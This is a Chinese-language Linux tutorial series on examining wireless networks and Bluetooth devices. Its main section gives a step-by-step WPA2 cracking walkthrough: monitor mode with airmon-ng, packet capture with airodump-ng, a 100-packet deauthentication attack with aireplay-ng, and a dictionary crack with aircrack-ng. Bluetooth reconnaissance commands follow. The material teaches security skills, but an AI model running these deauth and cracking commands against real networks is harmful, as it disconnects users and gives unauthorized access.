

十四、理解和探测无线网络

[Linux黑客基础-121-理解和检查无线网络-（1）-无线网络相关术语](#)

[Linux黑客基础-122-理解和检查无线网络-（2）-基本的无线命令](#)

[Linux黑客基础-123-理解和检查无线网络-（3）-无线密码的破解](#)

[Linux黑客基础-124-蓝牙（1）-蓝牙服务概述](#)

[Linux黑客基础-125-蓝牙（2）-蓝牙设备探测](#)

Linux黑客基础-121-理解和检查无线网络-（1）-无线网络相关术语

从您的系统中扫描并连接到其他网络设备的能力对于成为一名成功的黑客至关重要
如何找到这些设备

1、无线的概念

(1)

AP 无线接入点

SSID 网络的名称

ESSID

BSSID 唯一表示每个AP，AP的MAC地址

(2) wifi的安全协议

wep 不安全

WAP 相对安全

WPA2-PSK 更为安全，最常用

(3) wifi的三种操作模式

Manage 管理 这意味着它已准备好加入或已加入 AP

Master 主要 这意味着它已准备好充当或已经加入 AP

Monitor 监视

(4) 频率

2.4GHZ

5GHZ

Linux黑客基础-122-理解和检查无线网络-（2）-基本的无线命令

ifconfig -a 查看所有的网卡

wlan0 无线网卡的命名

iwconfig 仅显示无线网卡的命令

ifconfig wlan0 up 启动无线网卡

systemctl status NetworkManager 启动网络管理器

1、iwlist: 如果您不确定要连接哪一个 Wi-Fi AP, 可以使用 iwlist 命令查看您的网卡可以访问的所有无线接入点

iwlist 接口 动作

iwlist wlan0 scanning 扫描可以接入的无线网络

Cell 03 – Address: F8:6E:EE:E7:AC:EC

Channel:11

Frequency:2.462 GHz (Channel 11)

Quality=49/70 Signal level=-61 dBm

Encryption key:on

ESSID:"QICHEBOLI"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s

18 Mb/s; 36 Mb/s; 54 Mb/s

Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s

Mode:Master

为了进行各种不同的入侵攻击，你将需要目标 AP 的 MAC 地（BSSID），客户端的 MAC 地址（另一个无线网卡）以及 AP 操作的通道来执行任何类型的黑客攻击




2、nmcli---网络管理器的命令行方式

为网络接口（包括无线接口）提供高级接口的 Linux 守护程序，称为网络管理器--nmcli

nmcli [OPTIONS] OBJECT { COMMAND | help }

nmcli dev wifi 查看附近wifi

```
(root@kali) - [~]
# nmcli dev wifi
```

IN-USE	BSSID	SSID	MODE	CHAN	RATE	SIGNAL	BARS	SECURITY
	D6:B7:09:B6:33:72	--	Infra	10	270 Mbit/s	82		WPA1 WPA2
*	D4:B7:09:96:33:72	QICHEBOLI	Infra	10	270 Mbit/s	65		WPA1 WPA2
	F8:6E:EE:E7:AC:EC	QICHEBOLI	Infra	11	130 Mbit/s	65		WPA1 WPA2

nmcli dev wifi connect SSID名称 password 密码 连接wifi

为了进行各种不同的入侵攻击，你将需要

目标 AP 的 MAC 地（BSSID）

客户端的 MAC 地址（另一个无线网卡）

AP 操作的通道

来执行任何类型的黑客攻击

3、iw list 查看无线网卡支持的模式

Supported interface modes:

- * IBSS
- * managed
- * AP
- * AP/VLAN
- * monitor
- * mesh point

Linux黑客基础-123-理解和检查无线网络-（3）-无线密码的破解

使用 aircrack-ng 进行 Wi-Fi 侦查

1、需要获取的信息

在考虑攻击 Wi-Fi AP 之前，你需要

目标 AP（BSSID）的 MAC 地址

客户端的 MAC 地址

AP 正在运行的信道

2、需要准备

一块能够支持（monitor）模式和无线注入的网卡

首先需要将无线网卡置于monitor模式，以便网卡能够看到所有经过它的流量

监控模式类似于有线网卡上的混杂模式（promiscuous）。

准备相关工具

aircrack-ng（套件）

官网：<https://www.aircrack-ng.org/>

Aircrack-ng is a complete suite of tools to assess WiFi network security.

Aircrack-ng是一套完整的工具来评估WiFi网络安全。

熟悉无线网络相关的命令

3、开始攻击

(1) iwlist wlan0 scanning 方法1

nmcli dev wifi 方法2 获取信息

IN-USE	BSSID	SSID	MODE	CHAN	RATE	SIGNAL	BARS	SECURITY
--------	-------	------	------	------	------	--------	------	----------

*	D4:B7:09:96:33:72	QICHEBOLI	Infra	10	270 Mbit/s	69	<div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>	
---	-------------------	-----------	-------	----	------------	----	---	--

WPA1 WPA2 获取的信息

(2) 将无线网卡置于monitor模式

airmon-ng start interface

```
(root@kali) ~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
532 NetworkManager
631 dhclient
5778 wpa_supplicant

PHY Interface Driver Chipset
phy1 wlan0 rt2800usb AboCom Systems Inc 802.11n/b/g Mini Wireless LAN USB2.0 Adapter
(mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
(mac80211 station mode vif disabled for [phy1]wlan0)
```

将无线网卡置于monitor模式后airmon-ng 将重命名你的无线接口

```
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off
```

(3) 获取数据

airodump-ng 命令捕获并显示来自广播 AP 和连接到这些 AP 或附近的任何客户端的关键数据

只需使用airodump-ng，后跟刚才运行 airmon-ng 得到的接口名

airodump-ng wlan0mon 获取所有AP及其客户端信息

`airodump-ng -c 10 --bssid D4:B7:09:96:33:72 wlan0mon` 获取指定的AP
客户端信息

(4) 保存指定AP的报文

`airodump-ng -c 1 --bssid F8:6E:EE:E7:AC:EC hy wlan0mon`

(5) 切断指定客户端与无线AP的连接

`aireplay-ng --deauth 100 -a 01:01:AA:BB:CC:22 -c A0:A3:E2:44:7C:E5
wlan0mon`

`--deauth`(指定发送断开连接指定报文的个数)

`-a`(指定的AP)

`-c`(指定的客户端)

```
(root@kali) - [~]  
# aireplay-ng --deauth 100 -a D4:B7:09:96:33:72 -c 90-78-41-E7-F5-86 wlan0mon  
14:04:45 Waiting for beacon frame (BSSID: D4:B7:09:96:33:72) on channel 1
```

(6) 使用字典破解获取的无线报文

`aircrack-ng -w wordlist.dic -b 01:01:AA:BB:CC:22 Hacker-ArisePSK.cap`

`-w`: 准备字典文件

`-b`: 你的AP的BSSID

`Hacker-ArisePSK.cap` 保存的无线报文

```
(root@kali) - [~]  
# aircrack-ng -w wordlist.dic -b 01:01:AA:BB:CC:22 Hacker-ArisePSK.cap
```

Linux黑客基础-124-蓝牙 (1) -蓝牙服务概述

蓝牙是一种用于低功耗近场通信的通用协议，使用扩频在 2.4–2.485GHz 下工作，跳频速度为每秒 1600跳（这种跳频是一种安全措施）。它由瑞典爱立信公司

于 1994 年开发，以 10 世纪丹麦国王哈拉尔德蓝牙命名（请注意，瑞典和丹麦在 10 世纪是一个单一的国家）。

连接两个蓝牙设备被称为配对。

几乎任何两个蓝牙设备都可以相互连接，但只有在处于可发现模式时才能配对。

处于可发现模式的蓝牙设备传输以下信息：名称、类别、服务清单、技术信息

每个设备都有一个唯一的 48 位标识符（类似于 MAC 的地址），通常还有一个制造商指定的名称。

当两个设备配对时，它们交换一个密钥或链接密钥。每个存储这个链接键，以便在将来的配对中识别另一个。

Linux黑客基础-125-蓝牙（2）-蓝牙设备探测



Linux 有一个称为 bluez 的蓝牙协议栈的实现

BlueZ 有许多简单的工具，我们可以用来管理和扫描蓝牙设备

```
apt-get install bluez
```

```
(root@kali) - [~/桌面/work]
# apt-get install bluez
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
```

`dpkg -l | grep bluez`

```
(root@kali) - [~/桌面/work]
# dpkg -l | grep bluez
ii bluez 5.66-1+kali1 amd64 Bluetooth tools and daemons
```

`dpkg -L bluez | less`

```
(root@kali) - [~/桌面/work]
# dpkg -L bluez | less
```

常用的工具

1、hciconfig 这个工具的操作与 Linux 中的 ifconfig 非常相似，但是对于蓝牙设备。如清单 14-1 所示，我使用它来打开蓝牙接口并查询设备的规格。

```
(root@kali) - [~/桌面/work]
# hciconfig
hci0: Type: Primary Bus: USB
      BD Address: 90:78:41:E7:F5:8A ACL MTU: 8192:128 SCO MTU: 64:128
      DOWN
      RX bytes:510 acl:0 sco:0 events:23 errors:0
      TX bytes:339 acl:0 sco:0 commands:23 errors:0
```

`hciconfig hci0 up` 启动蓝牙

```
(root@kali) - [~/桌面/work]
# hciconfig hci0 up
```

2、hcidtool 此查询工具可以为我们提供设备名称、设备 ID、设备类和设备时钟信息，使设备能够同步工作。

`hcidtool scan` 扫描蓝牙设备

```
(root@kali) - [~/桌面/work]
# hcidtool scan
Scanning ...
          9C:56:36:6C:92:16 HUAWEI FreeBuds Pro
          2C:78:0E:3D:1D:98 Mate 30 Pro 5G
```


注：蓝牙要处于发现状态

hcitool inq 查询蓝牙设备信息

得到设备的MAC地址、时钟偏移量和设备类别

```
(root@kali) - [~/桌面/work]
# hcitool inq
Inquiring ...
9C:56:36:6C:92:16      clock offset: 0x0000      class: 0x240418
```

3、hcidump 这个工具使我们能够嗅探蓝牙通信，这意味着我们可以捕获通过蓝牙信号发送的数据。

蓝牙技术联盟（SIG）是一个以制定蓝牙规范，以推动蓝牙技术为宗旨的跨国组织。

<https://www.bluetooth.org/zh-cn> 官网

它拥有蓝牙的商标，负责认证制造厂商，授权他们使用蓝牙技术与蓝牙标志，但是它本身不负责蓝牙装置的设计、生产及贩售。

4、蓝牙服务发现协议

服务发现协议（SDP）是一种用于搜索蓝牙服务的蓝牙协议（蓝牙是一套服务）

sdptool browse 38:6F:6B:D5:6F:DE 查询蓝牙服务信息

```
(root@kali) - [~/桌面/work]
# sdptool browse 38:6F:6B:D5:6F:DE
Browsing 38:6F:6B:D5:6F:DE ...
```

l2ping 38:6F:6B:D5:6F:DE 查看是否可以到达远端设备

```
(root@kali) - [~/桌面/work]
# l2ping 38:6F:6B:D5:6F:DE
Ping: 38:6F:6B:D5:6F:DE from 90:78:41:E7:F5:8A (data size 44) ...
44 bytes from 38:6F:6B:D5:6F:DE id 0 time 3.30ms
44 bytes from 38:6F:6B:D5:6F:DE id 1 time 3.33ms
```